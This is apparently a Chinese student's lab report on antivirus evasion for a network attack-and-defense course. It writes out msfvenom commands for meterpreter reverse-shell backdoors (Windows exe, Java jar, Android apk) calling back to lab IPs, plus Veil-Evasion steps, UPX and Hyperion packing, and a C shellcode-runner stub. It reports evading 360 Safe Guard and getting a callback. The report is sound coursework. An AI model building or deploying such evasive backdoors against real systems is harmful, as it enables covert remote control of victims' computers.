- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 实验任务
1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
- 基础问题回答
(1)杀软是如何检测出恶意代码的?
一种检测是检测特征码,就是检测该代码是否含有恶意代码都含有的一段代码,只要包含这段代码就被认定是恶意代码;
还有一种是检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等,若有这些异常行为,则认定为恶意代码。
(2)免杀是做什么?
免杀就是通过一些手段对恶意代码进行伪装,达到不被杀毒软件检测出来的目的。
(3)免杀的基本方法有哪些?
有msfvenom编码、使用veil-evasion等重写恶意代码、利用shellcode生成可执行文件、加壳等方法。
- 实验过程
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 使用msf编码器msfvenom生成后门程序
- 实验二中生成过一个后门程序,hx_backdoor.exe,把它放到virscan网站中扫描;
28款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.128 LPORT=5206 -f exe > met-encoded10.exe指令进行十次编码;
将生成的后门程序使用virscan进行扫描;
多次编码对免杀并没有太大效果。因为虽然进行多次编码,但恶意代码的特征码仍存在,因此依旧能被绝大多数杀毒软件检测出来。
使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.128 LPORT=5206 x> 20165206_backdoor_java.jar指令,生成jar类型的后门程序。
使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.153.128 lport=5206 x> 20165206_backdoor.apk指令,生成Android后门程序,此时其为安装包。
- 使用veil-evasion生成后门程序
我在安装veil时,卡在展开对象3,4个小时,换了其他安装方式依然不能解决,所以最终是拷的别人安装好veil的虚拟机。
使用veil指令,启用veil;
使用use evasion指令,进入veil-evasion;
使用use c/meterpreter/rev_tcp.py指令,进入配置界面;
使用set LHOST 192.168.153.133指令和set LPORT 5206指令,设置反弹连接IP和端口;
输入generate指令,生成文件,再输入生成的playload的名字:playload5206;
找到生成的playload5206.exe,并使用virscan进行扫描。
- 使用加壳工具生成后门程序
- 压缩壳
输入upx playload5206.exe -o playload5206_upx.exe指令,给生成的后门程序加壳;
将生成的playload5206_upx.exe使用virscan进行扫描。
- 加密壳
进入目录/usr/share/windows-binaries/hyperion/中,输入wine hyperion.exe -v playload5206.exe playload5206_hyperion.exe指令,给生成的后门程序加壳;
将生成的playload5206_hyperion.exe使用virscan进行扫描。
- 使用shellcode编程生成后门程序
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.133 LPORT=5206 -f c指令,生成一段shellcode;
创建20165206.c文件,在其中输入:
unsigned char buf[] =
"粘贴之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
输入i686-w64-mingw32-g++ shellcode5206.c -o shellcode5206.exe指令,编译运行;
将生成的shellcode5206.exe使用virscan进行扫描。
- 通过组合应用各种技术实现恶意代码免杀(1分)
使用MSF meterpreter生成shellcode,对生成的文件使用UPX加壳处理,尝试实现免杀。
Windows上的杀毒软件为:360安全卫士 版本11
实现免杀的结果图:
回连成功的结果图:
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
对方电脑的杀毒软件为:360安全卫士 版本11
免杀的结果图:
回连成功的结果图:
- 实验过程中遇到的问题
- 问题:在安装veil时,停留在此界面3个小时,仍未完成。上网查询也没找到原因和解决方案。后来询问同学,觉得问题可能出现kali的版本上,下载最新版本的或能解决问题。
- 开启杀软能绝对防止电脑中恶意代码吗?
通过这次实验,发现开启杀软并不能绝对防止电脑中恶意病毒。只是简单的通过制作shellcode、加壳等技术手段的综合,就可以达到免杀的目的。对于一些技术高的黑客,会使用一些更加复杂和高级的手段,逃过杀毒软件的查杀更是很容易的。
- 实践总结与体会
这次实验让我学习到了很多,初步了解了免杀后门程序以及它的制作,我也实现了制作免杀的后门程序。虽然这次实验相对而言并没有那么的复杂,但却是进一步学习免杀的基础,很有意义。同时,我也通过这次实验意识到,对于很多程序员而言,逃过杀毒软件的查杀植入后门并不是件难事,因此以后下载软件要尽量从正版源下载,减少被植入后门的几率。